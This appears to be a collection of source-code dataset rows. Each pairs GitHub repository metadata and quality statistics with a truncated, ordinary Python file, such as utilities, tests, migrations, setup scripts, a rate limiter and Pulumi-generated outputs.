] | 1 | 2021-03-10T10:53:59.000Z | 2021-03-10T10:53:59.000Z | dlutils/utils.py | fmi-basel/dl-utils | 15bbb7672314d72abc7c3f7fc86655401cde5eb6 | [
"MIT"
] | null | null | null | def set_seeds(seed_val=42):
'''fix seeds for reproducibility.
'''
from numpy.random import seed
seed(seed_val)
from tensorflow import random
random.set_seed(seed_val)
def get_zero_based_task_id(default_return=None):
'''fetches the environment variable for this process' task id.
Retur... | 22.869565 | 66 | 0.688213 | 80 | 526 | 4.325 | 0.5 | 0.060694 | 0.063584 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.007426 | 0.231939 | 526 | 22 | 67 | 23.909091 | 0.84901 | 0.28327 | 0 | 0 | 0 | 0 | 0.031429 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.181818 | false | 0 | 0.272727 | 0 | 0.636364 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
b9cd921a9dfcd45420ba75acd6a836ff5b21a06b | 395 | py | Python | pgdrive/tests/test_funtionality/test_env_logistics.py | Edwardhk/pgdrive | 649d32309ab2cec2a2d00283ce400af28ca85199 | [
"Apache-2.0"
] | null | null | null | pgdrive/tests/test_funtionality/test_env_logistics.py | Edwardhk/pgdrive | 649d32309ab2cec2a2d00283ce400af28ca85199 | [
"Apache-2.0"
] | null | null | null | pgdrive/tests/test_funtionality/test_env_logistics.py | Edwardhk/pgdrive | 649d32309ab2cec2a2d00283ce400af28ca85199 | [
"Apache-2.0"
] | null | null | null | from pgdrive.envs.pgdrive_env_v2 import PGDriveEnvV2
def test_seeding():
env = PGDriveEnvV2()
try:
env.seed(999999)
assert env.pg_world is None
assert env.current_seed != 999999
env.reset()
assert env.current_seed == 999999
assert env.pg_world is not None
fi... | 20.789474 | 52 | 0.63038 | 50 | 395 | 4.66 | 0.52 | 0.154506 | 0.137339 | 0.16309 | 0.420601 | 0.240343 | 0.240343 | 0 | 0 | 0 | 0 | 0.074205 | 0.283544 | 395 | 18 | 53 | 21.944444 | 0.749117 | 0 | 0 | 0 | 0 | 0 | 0.020253 | 0 | 0 | 0 | 0 | 0 | 0.285714 | 1 | 0.071429 | false | 0 | 0.071429 | 0 | 0.142857 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
b9d3b64d1189ca1de50df424085e83d5b7c3cfeb | 819 | py | Python | migrations/versions/c854cbf7a6d3_initial_migration.py | Faihope/Blog-post | d2f9aff7c4ebf727a865d9cc12068a0fbf01d03a | [
"MIT"
] | null | null | null | migrations/versions/c854cbf7a6d3_initial_migration.py | Faihope/Blog-post | d2f9aff7c4ebf727a865d9cc12068a0fbf01d03a | [
"MIT"
] | null | null | null | migrations/versions/c854cbf7a6d3_initial_migration.py | Faihope/Blog-post | d2f9aff7c4ebf727a865d9cc12068a0fbf01d03a | [
"MIT"
] | null | null | null | """Initial Migration
Revision ID: c854cbf7a6d3
Revises: a829adee5c86
Create Date: 2021-06-19 22:50:18.089969
"""
from alembic import op
import sqlalchemy as sa
# revision identifiers, used by Alembic.
revision = 'c854cbf7a6d3'
down_revision = 'a829adee5c86'
branch_labels = None
depends_on = None
def upgrade():
... | 26.419355 | 108 | 0.699634 | 104 | 819 | 5.423077 | 0.548077 | 0.070922 | 0.074468 | 0.08156 | 0.230496 | 0.230496 | 0.230496 | 0.230496 | 0.230496 | 0.230496 | 0 | 0.071014 | 0.157509 | 819 | 30 | 109 | 27.3 | 0.746377 | 0.365079 | 0 | 0 | 0 | 0 | 0.161491 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.166667 | false | 0.333333 | 0.166667 | 0 | 0.333333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
b9dd5fb5585df66e4b747a99b38d5eb044604dca | 356 | py | Python | pyubx2cli/__init__.py | aidanjfolger/pyubx2 | 81fde902079179ab6fb609d31788fce5ac575074 | [
"BSD-3-Clause"
] | null | null | null | pyubx2cli/__init__.py | aidanjfolger/pyubx2 | 81fde902079179ab6fb609d31788fce5ac575074 | [
"BSD-3-Clause"
] | null | null | null | pyubx2cli/__init__.py | aidanjfolger/pyubx2 | 81fde902079179ab6fb609d31788fce5ac575074 | [
"BSD-3-Clause"
] | null | null | null | """
Created on 22 Aug 2021
:author: semuadmin
:copyright: SEMU Consulting © 2021
:license: BSD 3-Clause
"""
from pyubx2cli.gnssdump import (
GNSSStreamer,
NMEA_PROTOCOL,
UBX_PROTOCOL,
FORMAT_PARSED,
FORMAT_BINARY,
FORMAT_HEX,
FORMAT_HEXTABLE,
VERBOSITY_LOW,
VERBOSI... | 16.952381 | 35 | 0.660112 | 39 | 356 | 5.820513 | 0.820513 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.045802 | 0.264045 | 356 | 20 | 36 | 17.8 | 0.816794 | 0.280899 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.083333 | 0 | 0.083333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
b9e2422f135b7e67c54b54ae14c293a87df2fbd3 | 213 | py | Python | CritsAndCoffee.Instagram.API/config/apiv1_urls.py | srwagsta/critsAndCoffee2.0 | 4d2042b91675c50c2b6938c1e1863f873c80d391 | [
"Apache-1.1"
] | null | null | null | CritsAndCoffee.Instagram.API/config/apiv1_urls.py | srwagsta/critsAndCoffee2.0 | 4d2042b91675c50c2b6938c1e1863f873c80d391 | [
"Apache-1.1"
] | 10 | 2020-07-16T23:43:12.000Z | 2022-03-02T03:52:43.000Z | CritsAndCoffee.Instagram.API/config/apiv1_urls.py | srwagsta/critsAndCoffee2.0 | 4d2042b91675c50c2b6938c1e1863f873c80d391 | [
"Apache-1.1"
] | null | null | null | from django.urls import include, path
urlpatterns = [
# Auth Endpoints
path('auth/', include('config.rest_auth_urls')),
# Instagram API
path('instagram/', include('API_InstagramPosts.urls')),
]
| 19.363636 | 59 | 0.676056 | 24 | 213 | 5.875 | 0.583333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.178404 | 213 | 10 | 60 | 21.3 | 0.805714 | 0.131455 | 0 | 0 | 0 | 0 | 0.324176 | 0.241758 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.2 | 0 | 0.2 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
b9e8bf5ff2fb3a2a203d8417ca6c96e8e281f482 | 247 | py | Python | Find_Strings_in_a_file/first_5_lines.py | ankhipaul/python_workspace | 0a100b935e360930085e0b2f913f0504a72eea32 | [
"BSD-3-Clause"
] | null | null | null | Find_Strings_in_a_file/first_5_lines.py | ankhipaul/python_workspace | 0a100b935e360930085e0b2f913f0504a72eea32 | [
"BSD-3-Clause"
] | null | null | null | Find_Strings_in_a_file/first_5_lines.py | ankhipaul/python_workspace | 0a100b935e360930085e0b2f913f0504a72eea32 | [
"BSD-3-Clause"
] | null | null | null | filename = 'full_text_small.txt'
def file_write(filename):
with open(filename, 'r') as f:
n = 0
for line in f:
n += 1
if n <= 5:
print(line)
return(line)
file_write(filename)
| 16.466667 | 34 | 0.493927 | 33 | 247 | 3.575758 | 0.69697 | 0.152542 | 0.288136 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.02027 | 0.40081 | 247 | 14 | 35 | 17.642857 | 0.777027 | 0 | 0 | 0 | 0 | 0 | 0.081301 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.1 | false | 0 | 0 | 0 | 0.1 | 0.1 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
b9e96bb29c386fa62ce55ea3511e6731a5ca3dab | 556 | py | Python | setup.py | lamzuzuzu/yxf_yixue_py | 90eb077f195b543f93a507f28b0a4c016cb0c92f | [
"MIT"
] | 20 | 2019-01-08T08:13:39.000Z | 2021-12-23T09:04:14.000Z | setup.py | lamzuzuzu/yxf_yixue_py | 90eb077f195b543f93a507f28b0a4c016cb0c92f | [
"MIT"
] | null | null | null | setup.py | lamzuzuzu/yxf_yixue_py | 90eb077f195b543f93a507f28b0a4c016cb0c92f | [
"MIT"
] | 13 | 2019-04-22T03:25:13.000Z | 2022-01-04T05:43:48.000Z | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
install: python3 setup.py install
uninstall: pip3 uninstall [thispackname]
"""
from setuptools import setup, find_packages
setup(
name="yxf_yixue", # 安装后下划线自动变为-,包名称只用于安装卸载,程序中导入名称是实际代码文件夹名称。需手动保持一致
version="0.1.0",
author="yanyaming",
packages=find... | 25.272727 | 91 | 0.692446 | 61 | 556 | 6.131148 | 0.819672 | 0.064171 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.015086 | 0.165468 | 556 | 21 | 92 | 26.47619 | 0.790948 | 0.455036 | 0 | 0 | 0 | 0 | 0.114187 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.083333 | 0 | 0.083333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
b9ea560636e597745e84fdbf55b39e7e16be8935 | 1,234 | py | Python | turbustat/moments/tests/test_make_moments.py | CFD-UTSA/Turbulence-stars | 354d02e38d15e3b0d1f751b43f430dbd3a14c250 | [
"MIT"
] | 42 | 2016-04-07T20:49:59.000Z | 2022-03-28T12:54:13.000Z | turbustat/moments/tests/test_make_moments.py | CFD-UTSA/Turbulence-stars | 354d02e38d15e3b0d1f751b43f430dbd3a14c250 | [
"MIT"
] | 131 | 2015-03-05T21:42:27.000Z | 2021-07-22T14:59:04.000Z | turbustat/moments/tests/test_make_moments.py | CFD-UTSA/Turbulence-stars | 354d02e38d15e3b0d1f751b43f430dbd3a14c250 | [
"MIT"
] | 21 | 2015-06-10T17:10:06.000Z | 2022-02-28T15:59:42.000Z | # Licensed under an MIT open source license - see LICENSE
from __future__ import print_function, absolute_import, division
import numpy.testing as npt
import astropy.units as u
import os
from glob import glob
import pytest
from .. import Moments
from ...tests._testing_data import dataset1, sc1, props1
@pytest.mark... | 31.641026 | 75 | 0.699352 | 162 | 1,234 | 5.148148 | 0.438272 | 0.064748 | 0.122302 | 0.151079 | 0.224221 | 0.155875 | 0 | 0 | 0 | 0 | 0 | 0.044955 | 0.188817 | 1,234 | 38 | 76 | 32.473684 | 0.788212 | 0.192058 | 0 | 0 | 0 | 0 | 0.084008 | 0 | 0 | 0 | 0 | 0 | 0.3 | 1 | 0.05 | false | 0 | 0.4 | 0 | 0.45 | 0.05 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
b9ebe0435c27464026b85addbfaa59d6fbc0da6c | 238 | py | Python | Check.py | KrShivanshu/264136_Python_Daily | 8caeae12a495509675544b957af3ffbaa50e6ed2 | [
"CC0-1.0"
] | null | null | null | Check.py | KrShivanshu/264136_Python_Daily | 8caeae12a495509675544b957af3ffbaa50e6ed2 | [
"CC0-1.0"
] | null | null | null | Check.py | KrShivanshu/264136_Python_Daily | 8caeae12a495509675544b957af3ffbaa50e6ed2 | [
"CC0-1.0"
] | null | null | null | a = 1
b = 0
c = a & b
d = a | b
e = a ^ b
print(c+d+e)
my_list = [[1,2,3,4] for i in range(2)]
print(my_list[1][0])
x =2
x = x==x
print(x)
my_list = [1,2,3]
for v in range(len(my_list)):
my_list.insert(1, my_list[v])
print(my_list) | 13.222222 | 39 | 0.563025 | 62 | 238 | 2.048387 | 0.33871 | 0.330709 | 0.165354 | 0.125984 | 0.141732 | 0 | 0 | 0 | 0 | 0 | 0 | 0.075269 | 0.218487 | 238 | 18 | 40 | 13.222222 | 0.607527 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.266667 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
b9f3bc31e90f53d798ed8238d7e78fee8918a8d1 | 295 | py | Python | harvesters/logs.py | datopian/ckan-ng-harvester-core | 754ceecadbe8bcb83659988ec90982cd24afab58 | [
"MIT"
] | 2 | 2020-03-07T02:35:01.000Z | 2020-05-05T15:21:02.000Z | harvesters/logs.py | datopian/ckan-ng-harvester-core | 754ceecadbe8bcb83659988ec90982cd24afab58 | [
"MIT"
] | 4 | 2019-12-11T19:35:26.000Z | 2020-01-06T19:41:37.000Z | harvesters/logs.py | datopian/ckan-ng-harvester-core | 754ceecadbe8bcb83659988ec90982cd24afab58 | [
"MIT"
] | null | null | null | import logging
logger = logging.getLogger(__name__)
c_handler = logging.StreamHandler()
f_handler = logging.FileHandler('harvest.log')
f_handler.setLevel(logging.DEBUG)
c_handler.setLevel(logging.INFO)
logger.addHandler(c_handler)
logger.addHandler(f_handler)
logger.setLevel(logging.DEBUG)
| 21.071429 | 46 | 0.820339 | 38 | 295 | 6.105263 | 0.421053 | 0.103448 | 0.189655 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.067797 | 295 | 13 | 47 | 22.692308 | 0.843636 | 0 | 0 | 0 | 0 | 0 | 0.037288 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.111111 | 0 | 0.111111 | 0 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
b9f8d478684679e1e37cdb7bd08ebfefc8ae9a68 | 2,244 | py | Python | grafanizer/limiters.py | absalon-james/grafanizer | 14ad599150dfeb5bd079b872af0748b11c6d0649 | [
"Apache-2.0"
] | 1 | 2021-02-15T11:32:34.000Z | 2021-02-15T11:32:34.000Z | grafanizer/limiters.py | absalon-james/grafanizer | 14ad599150dfeb5bd079b872af0748b11c6d0649 | [
"Apache-2.0"
] | null | null | null | grafanizer/limiters.py | absalon-james/grafanizer | 14ad599150dfeb5bd079b872af0748b11c6d0649 | [
"Apache-2.0"
] | 1 | 2015-03-31T21:46:24.000Z | 2015-03-31T21:46:24.000Z | import logging
import time
logger = logging.getLogger('grafanizer.config')
_limiters = {}
class TokenBucket(object):
"""
Rate based limiter. Tokens are generated at a constant rate up to
a maximum. Actions that need to be limited acquire a token or wait
for a token to be available.
"""
def ... | 26.4 | 77 | 0.62344 | 287 | 2,244 | 4.735192 | 0.299652 | 0.051508 | 0.038263 | 0.046358 | 0.186902 | 0.154525 | 0.154525 | 0.058867 | 0 | 0 | 0 | 0.003776 | 0.291889 | 2,244 | 84 | 78 | 26.714286 | 0.851479 | 0.361408 | 0 | 0 | 1 | 0 | 0.013699 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.181818 | false | 0 | 0.060606 | 0 | 0.424242 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
b9fe1b6cc7f8db5c8d8fceb3945b8c621bf52251 | 2,624 | py | Python | examples/app.py | zzacharo/invenio-circulation | ad47dbd4e086f4d4a889d4039960f710cb291c6d | [
"MIT"
] | null | null | null | examples/app.py | zzacharo/invenio-circulation | ad47dbd4e086f4d4a889d4039960f710cb291c6d | [
"MIT"
] | null | null | null | examples/app.py | zzacharo/invenio-circulation | ad47dbd4e086f4d4a889d4039960f710cb291c6d | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
#
# Copyright (C) 2018 CERN.
# Copyright (C) 2018 RERO.
#
# Invenio-Circulation is free software; you can redistribute it and/or modify
# it under the terms of the MIT License; see LICENSE file for more details.
"""Invenio-Circulation example application.
SPHINX-START
First install Invenio-Ci... | 25.72549 | 77 | 0.772104 | 350 | 2,624 | 5.611429 | 0.428571 | 0.072811 | 0.032587 | 0.033605 | 0.01833 | 0 | 0 | 0 | 0 | 0 | 0 | 0.010587 | 0.136052 | 2,624 | 101 | 78 | 25.980198 | 0.855757 | 0.369284 | 0 | 0 | 0 | 0 | 0.067485 | 0.027607 | 0 | 0 | 0 | 0 | 0 | 1 | 0.044444 | false | 0 | 0.377778 | 0 | 0.422222 | 0.066667 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
b9fe5a1b7f74be724171c8ffab90fc8735cce723 | 3,646 | py | Python | src/Infraestructura/network/threads/dataProcessing.py | lbarriosh/cygnus-cloud | 1a17fbb55de69adba2ec42db4c9a063865af4fbd | [
"Apache-2.0"
] | 3 | 2017-09-03T22:01:35.000Z | 2019-01-10T05:40:44.000Z | src/Infraestructura/network/threads/dataProcessing.py | lbarriosh/cygnus-cloud | 1a17fbb55de69adba2ec42db4c9a063865af4fbd | [
"Apache-2.0"
] | null | null | null | src/Infraestructura/network/threads/dataProcessing.py | lbarriosh/cygnus-cloud | 1a17fbb55de69adba2ec42db4c9a063865af4fbd | [
"Apache-2.0"
] | null | null | null | # -*- coding: UTF8 -*-
'''
========================================================================
CygnusCloud
========================================================================
File: dataProcessing.py
Version: 1.5
Description: data processing thre... | 34.074766 | 97 | 0.593527 | 345 | 3,646 | 6.173913 | 0.44058 | 0.028169 | 0.025352 | 0.015023 | 0.10892 | 0.028169 | 0 | 0 | 0 | 0 | 0 | 0.005899 | 0.302523 | 3,646 | 107 | 98 | 34.074766 | 0.831695 | 0.483544 | 0 | 0.074074 | 0 | 0 | 0.0427 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.259259 | false | 0 | 0.074074 | 0 | 0.407407 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
b9ffcde21e8d2afade575add1e96e26ba72168db | 6,752 | py | Python | example/webservice/service/webservice_api.py | errord/sputnik | b83c635a9a160dcd5809265c0d9d231ade33e5ea | [
"BSD-3-Clause"
] | null | null | null | example/webservice/service/webservice_api.py | errord/sputnik | b83c635a9a160dcd5809265c0d9d231ade33e5ea | [
"BSD-3-Clause"
] | null | null | null | example/webservice/service/webservice_api.py | errord/sputnik | b83c635a9a160dcd5809265c0d9d231ade33e5ea | [
"BSD-3-Clause"
] | 1 | 2018-03-04T04:48:44.000Z | 2018-03-04T04:48:44.000Z | #-*- coding: utf-8 -*
#
# Copyright 2011 shuotao.me
# Copyright 2012 2013 2014 msx.com
# by error.d@gmail.com
# 2014-08-26
#
import sys
sys.path.append('../')
from config import *
from error import Error
from module.module import FoodAndPlace
from sputnik.SpuPythonObject import SDict
from sputnik.SpuLogging import *... | 30.414414 | 73 | 0.591232 | 849 | 6,752 | 4.411072 | 0.13192 | 0.04486 | 0.091322 | 0.11215 | 0.680908 | 0.661682 | 0.599466 | 0.556475 | 0.460881 | 0.439252 | 0 | 0.013895 | 0.285841 | 6,752 | 221 | 74 | 30.552036 | 0.762754 | 0.01644 | 0 | 0.515337 | 0 | 0 | 0.060666 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0.006135 | 0.067485 | null | null | 0.09816 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
6a01a4dd6b609bc6d87b647fb5adca0c01d4d8f3 | 389 | py | Python | plate/common/utils.py | AhnSeongHyun/plate | ed5f34636a6c1c5ea1cfeb5f78a45d2823411c37 | [
"Apache-2.0"
] | 38 | 2015-10-23T14:47:30.000Z | 2021-07-04T10:30:27.000Z | plate/common/utils.py | leokhoa/plate | ed5f34636a6c1c5ea1cfeb5f78a45d2823411c37 | [
"Apache-2.0"
] | 23 | 2015-09-23T06:51:10.000Z | 2018-10-19T22:51:11.000Z | plate/common/utils.py | leokhoa/plate | ed5f34636a6c1c5ea1cfeb5f78a45d2823411c37 | [
"Apache-2.0"
] | 16 | 2015-09-23T06:21:12.000Z | 2022-02-15T05:22:21.000Z | # -*- coding:utf-8 -*-
try:
from urllib.parse import urlparse, urlencode
except ImportError:
from urlparse import urlparse
def is_absolute(url):
if url:
parsed_url = urlparse(url)
if bool(parsed_url.netloc):
return True
else:
from os.path import isabs
... | 19.45 | 48 | 0.601542 | 47 | 389 | 4.893617 | 0.574468 | 0.117391 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.003788 | 0.321337 | 389 | 19 | 49 | 20.473684 | 0.867424 | 0.051414 | 0 | 0.142857 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.071429 | false | 0 | 0.285714 | 0 | 0.571429 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
6a05c4eaf12235811b42f1133486f692c2f2a2fb | 1,240 | py | Python | tests/test_core.py | NCRAR/psiexperiment | c3f8580b2b155ce42ebb936019d862c4343b545c | [
"MIT"
] | null | null | null | tests/test_core.py | NCRAR/psiexperiment | c3f8580b2b155ce42ebb936019d862c4343b545c | [
"MIT"
] | null | null | null | tests/test_core.py | NCRAR/psiexperiment | c3f8580b2b155ce42ebb936019d862c4343b545c | [
"MIT"
] | null | null | null | import pytest
import enaml
with enaml.imports():
from .test_core_manifest import (PSITestContribution3,
PSITestContribution2Manifest,
PSITestContribution3Manifest
)
from psi.core.enaml.api import (
... | 25.833333 | 77 | 0.705645 | 103 | 1,240 | 8.378641 | 0.398058 | 0.08343 | 0.10197 | 0.13905 | 0.187717 | 0.106605 | 0 | 0 | 0 | 0 | 0 | 0.012766 | 0.241935 | 1,240 | 47 | 78 | 26.382979 | 0.905319 | 0.128226 | 0 | 0.241379 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.206897 | 1 | 0.034483 | false | 0.103448 | 0.172414 | 0 | 0.310345 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
6a0f2ca8d14bf57465f56d46153a1185832305b3 | 29,780 | py | Python | sdk/python/pulumi_azure_native/notificationhubs/v20170401/outputs.py | sebtelko/pulumi-azure-native | 711ec021b5c73da05611c56c8a35adb0ce3244e4 | [
"Apache-2.0"
] | null | null | null | sdk/python/pulumi_azure_native/notificationhubs/v20170401/outputs.py | sebtelko/pulumi-azure-native | 711ec021b5c73da05611c56c8a35adb0ce3244e4 | [
"Apache-2.0"
] | null | null | null | sdk/python/pulumi_azure_native/notificationhubs/v20170401/outputs.py | sebtelko/pulumi-azure-native | 711ec021b5c73da05611c56c8a35adb0ce3244e4 | [
"Apache-2.0"
] | null | null | null | # coding=utf-8
# *** WARNING: this file was generated by the Pulumi SDK Generator. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import warnings
import pulumi
import pulumi.runtime
from typing import Any, Mapping, Optional, Sequence, Union, overload
from ... import _utilities
fro... | 34.190586 | 462 | 0.612827 | 3,326 | 29,780 | 5.278713 | 0.066446 | 0.023125 | 0.037763 | 0.055192 | 0.716125 | 0.627328 | 0.57487 | 0.505439 | 0.487669 | 0.466708 | 0 | 0.003056 | 0.285662 | 29,780 | 870 | 463 | 34.229885 | 0.822263 | 0.248321 | 0 | 0.53831 | 1 | 0.013752 | 0.146307 | 0.022926 | 0 | 0 | 0 | 0 | 0 | 1 | 0.159136 | false | 0 | 0.013752 | 0 | 0.318271 | 0.019646 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
6a16fa16abbb4bd511351b28f1a0108312f363f6 | 475 | py | Python | setup.py | maikelboogerd/eventcore-kafka | 95d163f6adcb9efa1d8b5f477e97bea0b85d51c3 | [
"MIT"
] | 1 | 2018-07-13T22:41:59.000Z | 2018-07-13T22:41:59.000Z | setup.py | maikelboogerd/eventcore-kafka | 95d163f6adcb9efa1d8b5f477e97bea0b85d51c3 | [
"MIT"
] | 5 | 2018-09-17T10:05:45.000Z | 2019-12-18T13:45:24.000Z | setup.py | maikelboogerd/eventcore-kafka | 95d163f6adcb9efa1d8b5f477e97bea0b85d51c3 | [
"MIT"
] | null | null | null | import setuptools
setuptools.setup(
name='eventcore-kafka',
version='0.3.3rc2',
description='Produce and consume events with Kafka.',
author='Maikel van den Boogerd',
author_email='maikelboogerd@gmail.com',
url='https://github.com/maikelboogerd/eventcore-kafka',
keywords=['event', 'kafka',... | 27.941176 | 59 | 0.686316 | 53 | 475 | 6.075472 | 0.773585 | 0.130435 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.00995 | 0.153684 | 475 | 16 | 60 | 29.6875 | 0.791045 | 0 | 0 | 0 | 0 | 0 | 0.467368 | 0.048421 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.071429 | 0 | 0.071429 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
6a1b658f0748e57679701820936f43e1c13ad7bb | 5,321 | py | Python | tutorials/LTP-I/Demo1/For_abbott_repfig2e.py | h-mayorquin/camp_india_2016 | a8bf8db7778c39c7ca959a7f876c1aa85f2cae8b | [
"MIT"
] | 3 | 2019-04-10T07:38:55.000Z | 2020-11-15T18:33:18.000Z | tutorials/LTP-I/Demo1/For_abbott_repfig2e.py | h-mayorquin/camp_india_2016 | a8bf8db7778c39c7ca959a7f876c1aa85f2cae8b | [
"MIT"
] | null | null | null | tutorials/LTP-I/Demo1/For_abbott_repfig2e.py | h-mayorquin/camp_india_2016 | a8bf8db7778c39c7ca959a7f876c1aa85f2cae8b | [
